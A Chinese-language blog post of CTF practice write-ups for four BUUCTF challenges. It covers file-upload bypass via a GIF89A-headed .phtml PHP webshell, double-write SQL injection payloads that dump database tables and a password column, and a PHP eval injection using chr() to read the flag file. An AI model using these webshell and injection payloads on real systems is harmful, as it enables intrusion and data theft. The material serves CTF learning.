buuctf一天小练习
文章目录
- 前言
- [极客大挑战 2019]Upload
- [ACTF2020 新生赛]Upload
- [极客大挑战 2019]BabySQL
- [RoarCTF 2019]Easy Calc
前言
文章同步于我的个人博客https://quan9i.top
周末随便刷点小题
[极客大挑战 2019]Upload
本关我们构造jpg
文件传入一句话木马的话,<
会被识别出来而无法上传
我们尝试构造pthml文件,pthml文件指的是嵌入html的php文件,这里我们可以发现仍然不行,可能对文件头进行了检查
那我们这里呢,就构造pthml文件,这样标签就不会被过滤,也就可以绕过
构造payload如下
GIF89A<script language="php">eval($_POST[1]);phpinfo();</script>
(GIF89A是构造一个图片头文件欺骗)
查看这个文件,盲猜文件存放位置为upload
下
此时蚁剑连接获取webshell即可
此时寻找flag即可
其实我本来的思路是想试试%00截断的,但是这里一是不知道PHP版本是否符合要求,二是后端过滤了<,所以我们这个思路不可行,学习其他大师傅的思路后才知道用phtml绕过即可
[ACTF2020 新生赛]Upload
首先进入界面,上传一个php文件进行尝试,观察反应
限制了文件格式,那我们把我们的一句话木马先改成jpg文件,bp抓包后修改过来
发现报出了nonono ~badfile
,可能是过滤了php
,同上关,我们用phtml
文件即可
查看文件
注入成功,蚁剑连接获取webshell
[极客大挑战 2019]BabySQL
首先随便输入一下
执行结果
可以看出是单引号闭合,且为get注入,因此我们尝试用or,但发现执行失败了,考虑到or可能被过滤了,这里采取双写绕过进行尝试
username=1' oorr 1=1 %23&password=1
执行成功,此时查看字段数,但是我发现这里用oorrder by
也是无法使用的,暂时不知道为啥,保留疑问,这里直接开始联合查询,由于union和select也被过滤了,所以我们采取双写绕过
username=-1' ununionion seleselectct 1,2,3%23&password=1
emmm,出现了回显位2,3,因此我们开始正式注入
查库
username=-1' ununionion seleselectct 1,2,database()%23&password=1
查表
经不断测试,发现from和where也被过滤,需要用双写绕过,这里最需要注意的就是information
,因为他里面有or,所以也需要进行双写绕过,构造最终payload如下
username=-1' ununionion seleselectct 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'%23&password=1
查列(flag一般不在用户名那个表中,所以我们查另一个即可)
username=-1' ununionion seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'%23&password=1
查字段
username=-1' ununionion seleselectct 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=1
[RoarCTF 2019]Easy Calc
进入里面发现是个计算器,随机输入
输入字母时会报错,说明应该是过滤了字母
查看源码
发现有一个calc.php文件,进行访问
<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>
可以发现对空格,换行符以及很多进行了过滤,对num的非字母无法通过限制,导致我们无法进行注入,我在这里也不知道怎么整,学习了其他师傅的思路后,了解到我们可以在?后面加一个空格再加变量,这样对于服务器端来说识别的变量就是 num
而不是num
,但php解析仍将其视为num
,此时就可以实现注入
此时我们查看当前目录,但是/
被过滤了,我们这里用chr(47)
即可,构造payload如下
? num=1;var_dump(scandir(chr(47)))
可以发现flag就在其中,可惜这里flag不是php类文件,要不然可以用交换键值和键名,再随机获取键名的方式来获取flag,这种方式在浅析命令执行中有讲解,感兴趣的师傅们可以看一下
先介绍一个函数
file_get_contents():
把整个文件读入一个字符串中.该函数是用于把文件的内容读入到一个字符串中的首选方法。
话说回来,这里的flag我们想获取,那只能将字母转换成chr()这种方式来绕过,因此我们将f
转换成chr(102)
,1
转换成chr(49)
,a
转换成chr(97)
,g
转换成chr(103)
,中间用.
进行连接,此时再借用file_get_contents
函数获取文件内容,因为没有设置存放的变量,所以其会直接显现在界面上,构造最终payload如下
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
buuctf一天小练习相关推荐
- BUUCTF Misc ningen1 小明的保险箱1 爱因斯坦1 easycap1
目录 ningen1 小明的保险箱1 爱因斯坦1 easycap1 ningen1 下载文件 使用kali中的binwalk查看 binwalk xxx.jpg 分离文件 打开 压缩包加密了,爆破 爆 ...
- buuctf simplerev 中的小头位序
(33条消息) BUUCTF SimpleRev(涉及大小端序存储的问题)_Ireb9z的博客-CSDN博客_buuctfsimplerevhttps://blog.csdn.net/afanzcf/ ...
- BUUCTF [NCTF2019]childRSA(费马小定理)
[NCTF2019]childRSA(费马小定理) 题目 from random import choice from Crypto.Util.number import isPrime, sieve ...
- BUUCTF:小明的保险箱
题目地址:https://buuoj.cn/challenges#%E5%B0%8F%E6%98%8E%E7%9A%84%E4%BF%9D%E9%99%A9%E7%AE%B1 binwalk分析,发现 ...
- BUUCTF MISC 小明的保险箱
题目: 下载后发现是一张图片,先分析图片 在图片里发现一个rar的压缩包,顺便下载一个暴力破解rar的工具 apt-get insatll rarcrack rarcrack flag.rar --t ...
- Buuctf Misc小明的保险箱(暴力破解)
打开 解题思路 用WinHex打开图片,有PK,说明是zip文件格式,把扩展名改为zip. 打开发现需要密码,那就直接暴力破解(最好的工具是通过软件破解:Advanced Archive Passwo ...
- BUUCTF 小明的保险箱
题目 下载附件,解压附件,是一张图片 根据题意猜测我们把图片改成.rar的形式,发现打开需要密码,我们使用暴力破解的软件破解密码 得到flag flag{75a3d68bf071ee188c418ea ...
- buuctf小明的保险箱
题目下载 通过binwalk查看内部包含多个文件,且根据提示分析出应该有加密压缩包,使用binwalk -e 文件名,分解出一个1381F.rar压缩包,并打开发现需要输入密码,暴力破解4位数字密码得 ...
- BUUCTF misc 专题(18)小明的保险箱
下载下来是这样的一张图片 我们将它放入kali中进行binwalk,分离出来一个文件解压后需要密码,根据题目提示,密码是四位纯数字的,直接暴力破解 密码7869,输入后出结果 flag{75a3d68 ...
- BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过
BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...
最新文章
- [原创]KVM虚拟化管理平台的实现
- Sharepoint之升级篇
- 【编程大系】Java资源汇总
- 图片没有.png或者jpg后缀能不能加载?
- POJ读书笔记6.1 - 约瑟夫问题 2746
- 创建pytorch虚拟环境的版本问题
- python爬虫系列:获取获取自如房租信息
- 首个可用于深度学习的ToF相关数据集!基于置信度的立体相机以及ToF相机深度图融合框架...
- 百度地图 - 绘制海量点
- Win32:一个全新的、被忽视的桌面互联网内容平台
- 网络测试软件要什么运行库,运行库检测工具(All in One Runtime)
- HTML+CSS静态页面网页设计作业——餐饮店铺(1页) web前端设计与开发期末作品_期末大作业
- UVM-TLM机制解读
- C 内存布局 Memory Layout of C Programs
- Numpy基础知识(摘录笔记)
- 世界名曲百首(mp3)
- 理解eth-trunk链路聚合以及配置Eth-Trunk链路聚合
- ruanjianlianjimoban
- 中国铸造机械行业发展动态与运营前景状况分析报告2022版
- 【转帖】windows 服务大全